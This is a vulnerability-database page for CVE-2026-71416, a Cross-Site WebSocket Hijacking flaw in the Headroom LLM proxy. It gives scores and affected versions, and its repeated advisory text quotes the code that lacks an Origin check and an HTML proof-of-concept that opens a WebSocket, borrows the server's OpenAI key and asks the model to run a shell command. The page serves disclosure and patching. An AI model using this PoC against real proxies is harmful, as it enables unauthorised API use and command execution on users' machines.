Every CVE Search/ Get API key

CVE-2026-71416

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

8.8 HighFix available

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.17%Unchanged since Sep 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.

Record
CVE-2026-71416
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-1385
Updated
2026-11-02
EUVDEUVD-2026-76105 8.8

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.

Record
EUVD-2026-76105
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-h46j-26q3-rggf 8.8

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Summary

The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.

Details

The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:

    @app.websocket("/v1/responses")
    async def openai_responses_ws(websocket: WebSocket):
        await proxy.handle_openai_responses_ws(websocket)

In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:

    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
        """WebSocket proxy for /v1/responses (Codex gpt-5.4+).

        Newer Codex versions use WebSocket instead of HTTP POST for the
        Responses API.  This handler:
        1. Accepts the client WebSocket
        2. Receives the first message (``response.create`` request)
        3. Opens an upstream WebSocket to OpenAI
        4. Compresses eligible `response.create` text through the Python
           ContentRouter path, then sends the request upstream
        5. Relays all subsequent messages bidirectionally
        """
        ...

        # Accept client connection with the requested subprotocol
        async with stage_timer.measure("accept"):
            if client_subprotocols:
                await websocket.accept(subprotocol=client_subprotocols[0])
            else:
                await websocket.accept()

The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:

        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
        # Safety net for clients that don't forward auth headers via WebSocket upgrade.
        if "authorization" not in _lower_headers:
            api_key = os.environ.get("OPENAI_API_KEY")
            if api_key:
                upstream_headers["Authorization"] = f"Bearer {api_key}"
                logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
            else:
                logger.warning(
                    f"[{request_id}] WS: no Authorization header from client and "
                    f"OPENAI_API_KEY not set — upstream will likely reject"
                )

Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.

PoC

  • Run the Headroom proxy server: OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0
  • Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
	<script>
		let headroomHost = '192.168.0.106';
		let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);

		let openAiPayload = {
			type: "response.create",
			model: "gpt-5.4",
			instructions: "The local bash shell environment is on Linux.",
			input: "Run the id command for the logged in user",
			tools: [{type: "shell", environment: {type: "local"}}]
		};

		socket.addEventListener("open", (event) => {
			let openAiPayloadStr = JSON.stringify(openAiPayload);
			console.log(`Sending LLM request:…
Record
GHSA-h46j-26q3-rggf
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-1385
Updated
2026-11-02
NVD 8.8

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.

Record
CVE-2026-71416
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-287, CWE-1385
Updated
2026-11-02
OSV 8.8

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable. Version 0.35.0 fixes the issue.

Record
CVE-2026-71416
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1385, CWE-287
Updated
2026-11-02
OSVGHSA-h46j-26q3-rggf 8.8

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Summary

The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.

Details

The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:

    @app.websocket("/v1/responses")
    async def openai_responses_ws(websocket: WebSocket):
        await proxy.handle_openai_responses_ws(websocket)

In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:

    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
        """WebSocket proxy for /v1/responses (Codex gpt-5.4+).

        Newer Codex versions use WebSocket instead of HTTP POST for the
        Responses API.  This handler:
        1. Accepts the client WebSocket
        2. Receives the first message (``response.create`` request)
        3. Opens an upstream WebSocket to OpenAI
        4. Compresses eligible `response.create` text through the Python
           ContentRouter path, then sends the request upstream
        5. Relays all subsequent messages bidirectionally
        """
        ...

        # Accept client connection with the requested subprotocol
        async with stage_timer.measure("accept"):
            if client_subprotocols:
                await websocket.accept(subprotocol=client_subprotocols[0])
            else:
                await websocket.accept()

The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:

        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
        # Safety net for clients that don't forward auth headers via WebSocket upgrade.
        if "authorization" not in _lower_headers:
            api_key = os.environ.get("OPENAI_API_KEY")
            if api_key:
                upstream_headers["Authorization"] = f"Bearer {api_key}"
                logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
            else:
                logger.warning(
                    f"[{request_id}] WS: no Authorization header from client and "
                    f"OPENAI_API_KEY not set — upstream will likely reject"
                )

Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.

PoC

  • Run the Headroom proxy server: OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0
  • Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
	<script>
		let headroomHost = '192.168.0.106';
		let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);

		let openAiPayload = {
			type: "response.create",
			model: "gpt-5.4",
			instructions: "The local bash shell environment is on Linux.",
			input: "Run the id command for the logged in user",
			tools: [{type: "shell", environment: {type: "local"}}]
		};

		socket.addEventListener("open", (event) => {
			let openAiPayloadStr = JSON.stringify(openAiPayload);
			console.log(`Sending LLM request:…
Record
GHSA-h46j-26q3-rggf
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-1385, CWE-287
Updated
2026-11-02
OSVPYSEC-2026-4220 8.8

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Summary

The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.

Details

The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:

    @app.websocket("/v1/responses")
    async def openai_responses_ws(websocket: WebSocket):
        await proxy.handle_openai_responses_ws(websocket)

In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:

    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
        """WebSocket proxy for /v1/responses (Codex gpt-5.4+).

        Newer Codex versions use WebSocket instead of HTTP POST for the
        Responses API.  This handler:
        1. Accepts the client WebSocket
        2. Receives the first message (``response.create`` request)
        3. Opens an upstream WebSocket to OpenAI
        4. Compresses eligible `response.create` text through the Python
           ContentRouter path, then sends the request upstream
        5. Relays all subsequent messages bidirectionally
        """
        ...

        # Accept client connection with the requested subprotocol
        async with stage_timer.measure("accept"):
            if client_subprotocols:
                await websocket.accept(subprotocol=client_subprotocols[0])
            else:
                await websocket.accept()

The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:

        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
        # Safety net for clients that don't forward auth headers via WebSocket upgrade.
        if "authorization" not in _lower_headers:
            api_key = os.environ.get("OPENAI_API_KEY")
            if api_key:
                upstream_headers["Authorization"] = f"Bearer {api_key}"
                logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
            else:
                logger.warning(
                    f"[{request_id}] WS: no Authorization header from client and "
                    f"OPENAI_API_KEY not set — upstream will likely reject"
                )

Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.

PoC

  • Run the Headroom proxy server: OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0
  • Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
	<script>
		let headroomHost = '192.168.0.106';
		let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);

		let openAiPayload = {
			type: "response.create",
			model: "gpt-5.4",
			instructions: "The local bash shell environment is on Linux.",
			input: "Run the id command for the logged in user",
			tools: [{type: "shell", environment: {type: "local"}}]
		};

		socket.addEventListener("open", (event) => {
			let openAiPayloadStr = JSON.stringify(openAiPayload);
			console.log(`Sending LLM request:…
Record
PYSEC-2026-4220
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
headroom-ai
PyPI
before 0.35.0
0.35.0
headroom-ai
PyPI
before 0.35.0, plus listed versions
0.10.00.10.10.10.100.10.110.10.12
Show 45 moreShow less
0.10.130.10.140.10.150.10.160.10.170.10.180.10.190.10.20.10.30.10.40.10.50.10.60.10.70.10.80.10.90.11.00.12.00.13.00.13.10.13.20.13.30.13.40.13.50.13.60.13.70.13.80.14.00.14.10.14.20.14.30.14.40.14.50.15.00.15.10.16.00.17.00.18.00.18.10.18.20.19.00.2.00.2.10.2.100.2.120.2.13
0.35.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-71416 is a high vulnerability (CVSS 8.8) in Headroom Labs Headroom, published September 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.17%, the 6th percentile. Fixed in headroom-ai 0.35.0.

References

This page doesn't list everything

Left out here: 140 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open